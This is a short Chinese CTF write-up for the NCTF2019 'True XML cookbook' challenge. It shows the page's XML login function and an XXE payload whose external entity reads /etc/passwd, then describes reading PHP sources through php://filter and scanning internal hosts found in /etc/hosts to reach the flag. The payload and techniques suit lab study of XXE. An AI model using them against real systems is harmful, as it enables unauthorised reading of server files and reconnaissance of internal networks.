0%

[NCTF2019]True XML cookbook

[NCTF2019]True XML cookbook

xxe题目,不常见,感觉好像遇到这种题目都是搜一个payload直接打,不过今天看到一个好文章,可以稍微系统的学习一下,起码理解一下之前打XXE的时候遇到的问题是怎么回事

题解

查看源码可以看到一个js函数

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }
    
    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

直接抓包也可以看到内容是以XML格式提交的,那么抄一个payload打一下试试

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user>
    <username>&xxe;</username>
    <password>111</password>
</user>

成功读到文件,证明可以打,这里注意一个点,就是当xxe读取文件的时候,读取的文件不允许有<>之类的标记,会导致实体替换之后影响xml文档解析,而在不同的平台上还可以支持不同的协议,这里是在PHP上运行的,所以能够用PHP支持的协议入php://filter之类的进行编码读取内容,读了一下doLogin.php没什么东西
XXE能够实现的攻击一般来说是文件读取,也可以发起内网扫描,读一下/etc/hosts,发现还真的有内网主机173.203.47.9,用http协议访问,但是没有结果。。。。搜了一下wp,结果是内网扫描,其实只要往后访问一位173.203.47.10就直接获得flag了

超级详细XXE讲解文章

https://xz.aliyun.com/t/3357#toc-23